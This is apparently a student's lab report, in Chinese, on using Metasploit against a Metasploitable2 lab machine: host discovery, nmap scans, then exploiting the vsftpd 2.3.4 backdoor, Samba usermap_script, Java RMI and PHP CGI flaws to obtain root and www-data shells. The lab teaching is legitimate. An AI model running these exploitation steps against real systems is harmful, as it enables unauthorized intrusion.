20222409 2024-2025-1 《网络与系统攻防技术》实验六实验报告

1.实验内容

1.1 本周学习内容

  • 学习了Metasploit渗透测试框架的使用方法,重点掌握了从搜索模块到执行攻击的完整流程。在实验中熟悉了标准操作步骤,如搜索模块、加载模块、设置参数和运行攻击。
  • 实验中实践了下列典型漏洞:Vsftpd后门漏洞、Samba命令注入漏洞、Java RMI命令执行漏洞和PHP CGI参数注入漏洞。通过具体操作理解了这些漏洞的后门代码的触发方式。
  • 通过Metasploit的模块化功能,学习了如何使用扫描模块进行主机发现和端口扫描,以及利用模块进行漏洞攻击。

1.2 实践内容

1.2.1 前期渗透

1.2.1.1 主机发现

可用Aux中的arp_sweep模块,search一下就可以use,通过扫描发现主机。

1.2.1.2 端口扫描

可以直接用nmap,也可以用Aux中的portscan/tcp等进行端口扫描。

1.2.1.3 系统版本与漏洞扫描(选做)

可以扫描靶机的系统版本、漏洞等

1.2.2 Vsftpd源码包后门漏洞(21端口)

在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃“为结尾,服务器就会在6200端口监听,并且能够执行任意代码。

1.2.3 Samba MS-RPC Shell命令注入漏洞(139端口)

Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。

1.2.4 Java RMI SERVER命令执行漏洞(1099端口)

Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。

1.2.5 PHP CGI参数执行注入漏洞(80端口)

CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。

2.实验过程

由图1可知攻击机Kali的ip为:192.168.222.130
由图2可知靶机Metasploitable2的ip为:192.168.222.140

图1:

图2:

2.1 前期渗透

2.1.1 主机发现

主机发现是渗透测试的第一步,其目标是通过网络扫描找出靶机的IP地址。在本次实验中,我们使用Metasploit的辅助模块arp_sweep进行局域网扫描,同时确保能够高效识别靶机的存在。
先在在Kali终端中,执行ping命令确认靶机在线。随后按照以下操作步骤进行实验:

  1. 启动Metasploit框架
    随后,在root权限下启动metasploit
msfconsole
  1. 搜索主机发现并加载模块
    使用以下命令在Metasploit中搜索与主机发现相关的模块:
search arp_sweep

注意要选择模块为auxiliary/scanner/discovery/arp_sweep
由于序号正好是0,我们直接输入use 0即可加载模块

use 0

结果如图3所示

图3:

  1. 设置参数
set RHOSTS 192.168.222.0/24  # 扫描整个局域网
set THREADS 10  # 提高扫描速度
  1. 运行模块
run

运行结果如图4所示

图4
扫描结果表明靶机(192.168.222.140)在线,网络连接正常,并与攻击机(192.168.222.130)处于同一子网内。而其他响应的IP(如192.168.222.1、192.168.222.2、192.168.222.254)可能是虚拟网络环境的网关或管理地址,但与这次攻击关系不大。

2.1.2 端口扫描

完成主机发现后,需要进一步探测靶机开放的服务端口,以确定可能的攻击向量。

2.1.2.1 使用nmap进行端口扫描
  1. 执行扫描
    在Kali终端中运行以下命令:
nmap -sS -sV 192.168.222.140

参数解释:

  • -sS(SYN扫描):使用半开连接(SYN)方法探测端口状态,具有速度快且隐蔽性高的特点。
  • -sV(服务版本探测):识别开放端口上运行的服务类型和版本号。
  1. 分析扫描结果``
    扫描结果如图5所示

    图5:
    通过扫描,成功识别靶机开放的端口、服务及版本信息
2.1.2.2 使用Metasploit的portscan/tcp模块
  1. 加载模块
    在msfconsole中输入以下命令,加载portscan/tcp模块:
use auxiliary/scanner/portscan/tcp
  1. 设置目标参数
    配置扫描的目标IP地址和并发线程数:
set RHOSTS 192.168.222.140 # 靶机ip
set THREADS 10 # 扫描线程数
  1. 运行扫描
run

扫描结果如图6所示。

图6:
通过Metasploit的portscan/tcp模块扫描,成功识别了靶机192.168.222.140开放的TCP端口。

2.1.3 系统版本与漏洞扫描(选做)

在前期渗透的主机发现和端口扫描阶段,我们已经识别了靶机的IP地址(192.168.222.140)和开放端口(21、80、139等)。为了进一步明确靶机的系统环境与可能存在的漏洞,需要探测其操作系统版本和服务版本,并评估潜在的安全漏洞。

  1. 运行nmap命令
    在Kali终端中输入以下命令,针对靶机(IP地址:192.168.222.140)进行扫描:
nmap -O -sV --script vuln 192.168.222.140

参数说明:

  • -O:识别靶机运行的操作系统版本。
  • -sV:获取每个开放端口上运行服务的详细版本信息。
  • --script vuln:调用nmap的漏洞检测脚本,识别可能存在的安全漏洞。
  1. 分析漏洞信息
    图7为扫描结果总览及21号端口信息。

    图7:
    从图7中的从扫描结果可以看出,靶机的 FTP 服务(21端口) 使用的是 vsftpd 2.3.4,该版本存在已知的后门漏洞(CVE-2011-2523)。

图8为80端口信息

图8:
从图8中的从扫描结果可以看出80端口运行的是 Apache httpd 2.2.8,存在多个高危漏洞(远程代码执行和路径遍历),并暴露了敏感目录和文件(/phpinfo.php 和 /phpMyAdmin)。

图9为1099端口信息

图9:
从图9中的从扫描结果可以看出1099端口的 Java RMI 服务存在默认配置漏洞,可通过 Metasploit 模块 java_rmi_server 利用。

2.2 Vsftpd源码包后门漏洞(21端口)

Vsftpd(Very Secure FTP Daemon)是一款流行的FTP服务器软件。然而,2.3.4版本中被植入了恶意后门代码,当用户名以: )结尾时,服务会在6200端口打开一个反向Shell,攻击者可以利用此漏洞执行任意命令。本次实验通过Metasploit对该漏洞进行利用。

2.2.1 确认靶机端口开放

使用以下命令扫描靶机的21端口,确认FTP服务开启,运行的是vsftpd 2.3.4版本,结果如图10所示。

nmap -sV -p 21 192.168.222.140


图10:

2.2.2 启动Metasploit框架

msfconsole

2.2.3 搜索并加载漏洞模块

  1. 搜索vsftpd 2.3.4漏洞模块:
search vsftpd
  1. 加载模块:
use exploit/unix/ftp/vsftpd_234_backdoor # 也可以用use 1

2.2.4 配置攻击参数

  1. 设置靶机IP地址:
set RHOST 192.168.222.140
  1. 设置靶机端口
    保持默认值21
  2. 检查配置是否正确:
show options

正确的配置如图11。

图11:

2.2.5 执行攻击

run

攻击结果如图11所示

图11:
可见,成功利用vsftpd 2.3.4后门漏洞在靶机上获得了root权限,并通过反向Shell(uname –apwdid等命令)验证了系统信息。

2.3 Samba MS-RPC Shell命令注入漏洞(139端口)

Samba是一个广泛使用的文件共享服务,在特定配置下,Samba服务中的usermap_script功能存在代码注入漏洞,攻击者可利用该漏洞以nobody用户的权限执行任意命令。
本模块演示如何利用Samba的usermap_script漏洞获取靶机的访问权限。

2.3.1 使用nmap确认靶机的139端口是否开放

nmap -p 139 192.168.222.140


图12:
由图12可知,靶机192.168.222.140的139端口开放,有运行NetBIOS相关服务。

2.3.2 选择漏洞模块

在Kali的Metasploit框架中加载usermap_script漏洞模块:

use exploit/multi/samba/usermap_script

2.3.3 配置模块参数

  1. 设置靶机的IP地址:
set RHOSTS 192.168.222.140
  1. 设置靶机的端口号
    默认139端口即可, 无需修改

  2. 检查配置是否正确

show options

正确的配置如图13:

图13:

2.3.4 执行攻击

run


图14:
通过使用uname -a检验,可见,成功利用 Samba 的 usermap_script 漏洞获取了靶机的交互式 Shell,运行命令验证显示靶机操作系统为 Linux 2.6.24,标识为 Metasploitable2。

2.4 Java RMI SERVER命令执行漏洞(1099端口)

Java RMI(Remote Method Invocation)默认配置中存在安全漏洞,攻击者可以通过恶意输入远程执行任意代码。本模块演示如何利用该漏洞获取靶机权限。

2.4.1 确认1099端口开放

使用nmap扫描靶机,确认1099端口是否开放:

nmap -p 1099 192.168.222.140


图15:
由图15可知靶机192.168.222.140的1099端口运行开放rmiregistry服务,可以利用Java RMI相关漏洞进行进一步渗透。

2.4.2 选择漏洞模块

在Metasploit中加载java_rmi_server漏洞模块:

use exploit/multi/misc/java_rmi_server

2.4.3 设置模块参数

  1. 设置靶机的IP地址:
set RHOSTS 192.168.222.140
  1. 设置靶机的端口号
set RPORT 1099
  1. 检查配置是否正确
show options

正确的配置如图16:

图16:

2.4.4 执行攻击

run


图17:
通过使用whoami检验,可见,成功利用java_rmi_server漏洞(1099端口)获得靶机的meterpreter会话,并在Shell中确认权限(当前用户为root)。

2.5 PHP CGI参数执行注入漏洞(80端口)

PHP是一种流行的服务器端脚本语言,在使用CGI(Common Gateway Interface)模式时,某些PHP版本存在参数处理漏洞,攻击者可以通过特制的HTTP请求注入恶意命令并远程执行。
本模块演示如何利用该漏洞,通过Metasploit框架对靶机上的PHP CGI服务进行攻击,获得系统访问权限。

2.5.1 确认Web服务状态

使用nmap扫描靶机,确认80端口是否开放并运行Web服务:

nmap -p 80 192.168.222.140


图18:
扫描结果显示靶机 192.168.222.140 的 HTTP 服务(80端口)处于开放状态,可继续进行漏洞利用测试。

2.5.2 选择漏洞模块

在Metasploit中加载PHP CGI参数注入漏洞模块:

use exploit/multi/http/php_cgi_arg_injection

2.5.3 设置模块参数

  1. 设置靶机的IP地址:
set RHOSTS 192.168.222.140
  1. 设置靶机的端口号
set RPORT 80
  1. 根据靶机配置设置URL路径
set TARGETURI /cgi-bin/php
  1. 检查配置是否正确
show options

正确的配置如图19:

图19:

2.5.4 启动攻击

run


图20:
通过使用whoamiiduname -a检验,可见,利用php_cgi_arg_injection漏洞成功攻击靶机 192.168.222.140,获得 meterpreter 会话并以用户 www-data 权限访问系统。

3.问题及解决方案

本次实验较为按部就班,硬要说问题的话,就是以下几个

  • 问题1:2.3部分,run之后,一直没有获取shell的提示或人机交互
  • 问题1解决方案:纯人机交互做的不好,获取已经成功了没提示,以为还在加载,其实直接输入uname -a即可
  • 问题2:2.4部分,用whoami未成功,如图21

    图21:
  • 问题2解决方案:先输入shell,再输入whoami即可

4.学习感悟、思考等

通过本次实验,我熟悉了Metasploit框架的基本使用方法,掌握了从信息收集到漏洞利用的完整渗透流程(msfconsole -> search xxx -> use x -> set rhost,set rport -> show options -> run)。实践过程中,通过手动攻击Vsftpd后门、Samba命令注入等典型漏洞,我了解了漏洞产生的原理,深刻体会到系统安全配置的重要性。这次实验让我对网络攻防的技术和思维方式有了更直观的理解,同时也激发了我对网络安全领域的浓厚兴趣。

参考资料

posted @ 2024-11-22 20:32  20222409王勤博  阅读(7)  评论(0编辑  收藏  举报